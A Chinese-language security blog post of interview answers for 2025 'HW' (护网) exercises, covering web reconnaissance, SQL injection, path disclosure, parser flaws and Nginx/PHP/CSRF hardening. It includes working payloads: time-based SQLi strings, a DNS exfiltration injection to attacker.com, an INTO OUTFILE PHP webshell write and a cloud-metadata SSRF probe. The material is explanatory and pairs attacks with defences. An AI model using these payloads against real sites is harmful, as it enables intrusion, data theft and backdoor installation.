安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
2025年HW(护网面试) 34
一、网站信息收集
核心步骤与工具
二、CDN绕过与真实IP获取
6大实战方法
三、常见漏洞原理与防御
四大高危漏洞对比
四、SQL注入检测与盲注
注入点探测流程
时间盲注核心函数
五、Sleep函数被过滤的替代方案
4种绕过方式
六、SQL注入拿Shell的条件
七、网站绝对路径获取
7大途径
八、Web服务器解析漏洞
经典案例解析
九、Nginx安全配置
6项关键配置
十、PHP审计流程
四步代码审计法
十一、PHP防注入方案
3层防御体系
十二、PHP安全配置
十三、Web渗透流程
五阶段模型
十四、HTTP协议核心问题
十五、HTTPS建立过程
TLS握手六步
十六、CSRF防御机制
Token防御原理
其他防御方案
2025年HW(护网面试) 34
1、网站信息收集 2、怎么寻找真实IP(cdn绕过) 3、常见漏洞原理和防范 4、sql怎么找注入点、盲注 5、叙述一下时间盲注原理以及用到的各种函数 6、sleep函数被过滤怎么办? 7、sql注入能拿shell么,需要什么权限 8、怎么获得网站的绝对路径? 9、web服务器解析漏洞了解么? 10、Nginx安全配置相关 11、PHP审计流程 12、php怎么防注入 13、php安全配置了解么 14、web渗透流程 15、http了解么、长连接还是短连接、谈谈对http无状态的理解。 16、bp抓https包的原理 17、https实现过程 18、防御csrf的方式?token防御csrf的原理?
一、网站信息收集
核心步骤与工具
类别 方法 工具示例 基础架构 HTTP头分析、端口扫描 Nmap, Wappalyzer 子域名 证书透明度、DNS爆破 Amass, Subfinder 目录文件 敏感文件扫描、备份文件探测 Dirsearch, Wayback Machine 关联资产 反向IP查询、Whois信息关联 Shodan, Fofa
二、CDN绕过与真实IP获取
6大实战方法
- 历史解析记录
- 查询DNS历史:
SecurityTrails
,ViewDNS.info
- 全球Ping检测
- 利用不同地区节点:
Ping
+ASN
归属分析 → 识别非CDN IP- 子域名探测
www
域名有CDN → 尝试dev
等未配置CDN的子域- 协议漏洞利用
- SSRF响应:
http://xxx.com/?url=http://169.254.169.254
(云元数据)- 邮件服务器追踪
- 分析邮件头
Received
字段获取真实IP- DNS记录泄露
SPF
记录中的ip4:
声明(如v=spf1 ip4:203.0.113.1 -all
)
三、常见漏洞原理与防御
四大高危漏洞对比
漏洞类型 原理 防御方案 SQL注入 用户输入拼接SQL语句 参数化查询(PreparedStatement) XSS 恶意脚本注入页面 CSP头: Content-Security-Policy
SSRF 服务端请求伪造内网资源 白名单校验URL + 禁用 file://
协议RCE 系统命令执行函数未过滤 禁用危险函数(如 eval()
)+ 权限最小化
四、SQL注入检测与盲注
注入点探测流程
mermaid
graph LR A[输入点检测] --> B(单引号触发错误) B --> C{返回异常?} C -->|是| D[报错注入] C -->|否| E[布尔盲注检测] E --> F(1' AND 1=1-- → 正常) F --> G(1' AND 1=2-- → 异常?) G -->|是| H[确认布尔盲注]
时间盲注核心函数
数据库 延时函数 示例Payload MySQL SLEEP()
1' AND SLEEP(5)--
PostgreSQL pg_sleep()
1' AND pg_sleep(5)--
MSSQL WAITFOR DELAY
1'; WAITFOR DELAY '0:0:5'--
五、Sleep函数被过滤的替代方案
4种绕过方式
- 重载延时
- MySQL:
BENCHMARK(10000000, MD5('a'))
- 条件错误触发
1' AND IF(1=1, (SELECT 1 FROM INFORMATION_SCHEMA.PLUGINS), 1/0)--
- 大查询阻塞
SELECT * FROM all_tables t1, all_tables t2
(制造笛卡尔积)- 外带数据延时
- DNS查询:
1' AND LOAD_FILE(CONCAT('\\\\',(SELECT HEX(user)), '.attacker.com\\'))--
六、SQL注入拿Shell的条件
前提条件 操作路径 1. 文件写权限 secure_file_priv
为空(MySQL)2. 绝对路径获取 通过报错/配置文件泄露 3. Web目录写入 写入PHP一句话:
SELECT '<?=eval($_POST[1])?>' INTO OUTFILE '/var/www/shell.php'
七、网站绝对路径获取
7大途径
- 报错信息
- PHP错误:
Warning: include(/var/www/config.php) failed
- 配置文件
/etc/apache2/sites-enabled/000-default.conf
→DocumentRoot
- 进程信息
- Linux:
/proc/self/cwd
→ 符号链接指向路径- 框架特性
- Laravel:
php artisan tinker
→base_path()
- 文件包含漏洞
- 包含
/proc/self/environ
获取环境变量- 备份文件泄露
.git/index
→ 文件路径痕迹- 命令执行回显
; pwd;
→ 返回当前路径
八、Web服务器解析漏洞
经典案例解析
服务器 漏洞原理 攻击示例 IIS 6.0 目录名含 .asp
则所有文件按ASP解析/upload.asp/logo.jpg
→ JPG当ASP执行Nginx <0.8 路径截断: %00
截断文件名/test.php%00.jpg
→ PHP执行Apache 多后缀解析: .php.jpg
当PHP执行shell.php.jpg
→ 触发PHP引擎
九、Nginx安全配置
6项关键配置
nginx
# 1. 禁用敏感信息 server_tokens off; # 隐藏Nginx版本 # 2. 文件访问限制 location ~* \.(ini|conf|env)$ { deny all; # 禁止访问配置文件 } # 3. 防目录遍历 autoindex off; # 禁用目录列表 # 4. 限制HTTP方法 if ($request_method !~ ^(GET|POST)$ ) { return 444; # 非GET/POST请求直接断开 } # 5. 防路径穿越 location ~* \.\./ { deny all; # 阻断../跳转 } # 6. CSP防护 add_header Content-Security-Policy "default-src 'self'";
十、PHP审计流程
四步代码审计法
mermaid
graph TB A[敏感函数定位] --> B[参数回溯] B --> C{输入是否可控?} C -->|是| D[过滤机制分析] D --> E[构造PoC验证]
十一、PHP防注入方案
3层防御体系
- 输入层过滤
filter_var($input, FILTER_SANITIZE_STRING)
- 执行层隔离
- PDO预处理:
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
- 输出层转义
- HTML输出:
htmlspecialchars($str, ENT_QUOTES)
十二、PHP安全配置
配置项 安全值 作用 expose_php
Off
隐藏PHP版本 disable_functions
system,exec,passthru
禁用危险函数 open_basedir
/var/www
限制文件访问范围 session.cookie_httponly
1
防JS窃取Session
十三、Web渗透流程
五阶段模型
- 信息收集:资产测绘 + 指纹识别
- 漏洞探测:自动扫描 + 手动验证
- 漏洞利用:武器化Payload投递
- 权限维持:Webshell + 后门安装
- 横向移动:凭证窃取 + 内网漫游
十四、HTTP协议核心问题
问题 技术解析 长连接 vs 短连接 长连接: Connection: keep-alive
(复用TCP连接)
短连接:每次请求新建连接无状态 协议不记录请求间状态 → 需Cookie/Session维持会话 HTTPS抓包原理 中间人攻击:BP生成伪证书 + 客户端信任CA根证书
十五、HTTPS建立过程
TLS握手六步
- Client → Server:
ClientHello
(支持密码套件列表)- Server → Client:
ServerHello
(选定密码套件)+ 证书- Client验证证书合法性(CA链校验)
- Client生成随机对称密钥 → 用证书公钥加密发送
- Server用私钥解密获取对称密钥
- 双方用对称密钥加密通信
十六、CSRF防御机制
Token防御原理
mermaid
graph LR A[用户登录] --> B[服务端生成Token存入Session] B --> C[Token嵌入表单隐藏域] C --> D[提交请求时验证Token] D -->|匹配| E[执行操作] D -->|不匹配| F[拒绝请求]
其他防御方案
- SameSite Cookie:
Set-Cookie: session=xxx; SameSite=Lax
- 双重Cookie验证:请求头携带Cookie + Body携带Token
- 验证码挑战:敏感操作需二次验证